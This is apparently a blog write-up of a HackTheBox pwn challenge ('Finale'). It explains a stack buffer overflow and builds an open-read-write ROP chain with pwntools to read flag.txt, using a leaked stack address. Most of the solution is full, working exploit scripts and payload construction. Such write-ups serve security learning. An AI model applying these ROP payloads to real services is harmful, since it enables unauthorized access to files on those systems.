← Back to Writeups
HTBN/APwn

Finale

XESXOR8/23/20266 min read
#pwn#htb#n/a

Finale

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

It's the end of the season and we all know that the Spooktober Spirit will grant a souvenir to everyone and make their wish come true! Wish you the best for the upcoming year!

Solution Approach

Core idea: Implement Open-Read-Write (ORW) ROP Chain exploit.

Steps

  1. In this challenge, we're given a 64 bit binary, dynamically linked, and not stripped.
┌──(D3v0o0Nu11㉿htb)-[~/Downloads/pwn_final/challenge]
└─$ file finale 
finale: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ac92ca00b198dcf7287937f5ce21c1123a5a549e, for GNU/Linux 3.2.0, not stripped

BINARY PROTECTIONS

┌──(D3v0o0Nu11㉿htb)-[~/Downloads/pwn_final/challenge]
└─$ pwn checksec finale                         
[*] '/home/D3v0o0Nu11/Downloads/pwn_final/challenge/finale'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
  1. After decompiled the binary, found a potential BOF at the finale() function (line 12).

  2. But notice there's a leaked stack address and Based on the README.txt file, the problem setter told us not to do ret2libc because the remote server has a custom libc.

  3. What comes to my mind we can do "seccomp-way", instead of spawn a shell, we grab the flag from the remote server.

  4. Since it's not ret2shell challenge, hence don't need to worry about the flag.txt location.

FLOW

Remembering there is leaked stack addres, hence we can use it to store the content of flag.txt.
Analyzing the source code, we can use open@plt, read@plt, and write@plt.

Things to know

To use open we need rdi and rsi gadgets.
-> int open(const char *pathname, int flags);  
rdi is pointing to where we stored the flag.txt content, rsi holds the value for open (gonna use 0 --> read-only).

To use read, we need rdi, rsi, and rdx gadgets.
-> ssize_t read(int fd, void *buf, size_t count);  
rdi holds the file descriptor value, rsi holds the path (leaked stack address --> flag content), and rdx the buffer size to read.

To use write, we need rdi, rsi, and rdx gadgets.
-> ssize_t write(int fd, const void *buf, size_t count);  
rdi holds the file descriptor, rsi holds the path, and rdx holds the buffer size to be printed to us.

PROBLEM

The problem here, we don't have pop rdx. But no need to worry about that, since read@plt and write@plt is declared at our source code, hopefully the rdx value holds enough buffer for us.

CHECKING RDX HOLDS BY READ AND WRITE

Great! After the finale function called, the rdx value shall set to 0x54. It's enough.
  1. After running the binary, it seems there is another leaked stack address.

  2. But after grab and unpack it, it resulting to unidentified address:

  3. Let us remove that from our interest and let us straight grabbed our leaked stack address at the finale() function and get the rip_offset.

RIP OFFSET --> 72

  1. Now let us grab our rdi, rsi gadgets. Here's our script so far.
from pwn import *
import os 
os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript='''
init-pwndbg
continue
'''.format(**locals())

exe = './finale'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'

sh = start()

### sh.recvuntil('nonsense]: ')

### get = sh.recvline().strip()

### leaked = unpack(get.ljust(8, b'\x00'))

### log.success(f'LEAKED STACK ADDRESS (?) {hex(leaked)}')

sh.sendlineafter(b':', b's34s0nf1n4l3b00')
sh.recvuntil(b'luck:')
get_2 = sh.recvline().strip()
leaked_2 = get_2[1:15]
leaked_stack = int(leaked_2, 16)

### print(leaked_2)

log.success(f'LEAKED STACK ADDRESS --> {hex(leaked_stack)}')

rip_offset = 72

rop = ROP(elf)
rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
log.info(f'RDI GADGET --> {hex(rdi)}')
rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
log.info(f'RSI GADGET --> {hex(rsi)}')

sh.interactive()
[+] Starting local process './finale': pid 43083
[+] LEAKED STACK ADDRESS --> 0x7ffdcc1e2f50
[*] Loaded 7 cached gadgets for './finale'
[*] RDI GADGET --> 0x4012d6
[*] RSI GADGET --> 0x4012d8
[*] Switching to interactive mode

[Strange man in mask]: Now, tell us a wish for next year: $
  1. Now, before using the read@plt and write@plt, it's a good practice to check whether our open@plt payload is succeed or not.

TESTING OPEN PAYLOAD

from pwn import *
import os 
os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript='''
init-pwndbg
continue
'''.format(**locals())

exe = './finale'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'

sh = start()

### sh.recvuntil('nonsense]: ')

### get = sh.recvline().strip()

### leaked = unpack(get.ljust(8, b'\x00'))

### log.success(f'LEAKED STACK ADDRESS (?) {hex(leaked)}')

sh.sendlineafter(b':', b's34s0nf1n4l3b00')
sh.recvuntil(b'luck:')
get_2 = sh.recvline().strip()
leaked_2 = get_2[1:15]
leaked_stack = int(leaked_2, 16)

### print(leaked_2)

log.success(f'LEAKED STACK ADDRESS --> {hex(leaked_stack)}')

rip_offset = 72

rop = ROP(elf)
rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
log.info(f'RDI GADGET --> {hex(rdi)}')
rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
log.info(f'RSI GADGET --> {hex(rsi)}')

flag_str = b'flag.txt'
padding = rip_offset - len(flag_str) # calculate the correct padding

### OPEN PAYLOAD

p = flat([
    flag_str,
    b'\x00' * padding, # filled the rest after flag.txt with NULL bytes not NOPs.
    rdi, # rdi gadget
    leaked_stack, # holds the flag contents.
    rsi, # 
    0, #0x0 --> read-only mode
    elf.plt['open'], # open@plt
    elf.sym['finale'] # return to symbol.finale
])

sh.sendlineafter(b':', p)
sh.interactive()
  1. I'm pretty confident now, let us send our read@plt and write@plt payload.

FULL SCRIPT

from pwn import *
import os 
os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript='''
init-pwndbg
continue
'''.format(**locals())

exe = './finale'
elf = context.binary = ELF(exe, checksec=True)

### context.log_level = 'DEBUG'

context.log_level = 'INFO'

sh = start()

### sh.recvuntil('nonsense]: ')

### get = sh.recvline().strip()

### leaked = unpack(get.ljust(8, b'\x00'))

### log.success(f'LEAKED STACK ADDRESS (?) {hex(leaked)}')

sh.sendlineafter(b':', b's34s0nf1n4l3b00')
sh.recvuntil(b'luck:')
get_2 = sh.recvline().strip()
leaked_2 = get_2[1:15]
leaked_stack = int(leaked_2, 16)

### print(leaked_2)

log.success(f'LEAKED STACK ADDRESS --> {hex(leaked_stack)}')

rip_offset = 72

rop = ROP(elf)
rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
log.info(f'RDI GADGET --> {hex(rdi)}')
rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
log.info(f'RSI GADGET --> {hex(rsi)}')

flag_str = b'flag.txt'
padding = rip_offset - len(flag_str) # calculate the correct padding

### OPEN PAYLOAD

p = flat([
    flag_str,
    b'\x00' * padding, # filled the rest after flag.txt with NULL bytes not NOPs.
    rdi, # rdi gadget
    leaked_stack, # holds the flag path
    rsi, # 
    0, #0x0 --> read-only mode
    elf.plt['open'], # open@plt
    elf.sym['finale'] # return to symbol.finale
])

sh.sendlineafter(b':', p)

### NOTES: Using fd --> 3, because at the start, the binary opens 3 fd (0,1,2) (stdin, stdout, stderr)

pay_2 = flat([
    ## READ PAYLOAD
    asm('nop') * rip_offset, # using rip_offset
    rdi, # rdi holds fd value
    3, # 0x3 , file descriptor (fd) set to 3
    rsi, # rsi is pointing to stack, it's reading the content
    leaked_stack, # our flag content
    elf.plt['read'], # read@plt
    # rdx
    # already allocated 0x54

    ## WRITE PAYLOAD
    rdi, # holds fd
    1, # stdout (fd --> 1)
    rsi, # print the content from leaked_stack
    leaked_stack, # flag content
    elf.plt['write'] # write@plt
    # rdx
    # already allocated 0x54
])

sh.sendlineafter(b'year:', pay_2)
sh.interactive()

RESULT (LOCAL) - GOT THE TESTING FLAG

RESULT (REMOTE)

Flag

REDACTED

Lessons Learned

  1. Implement Open-Read-Write (ORW) ROP Chain exploit.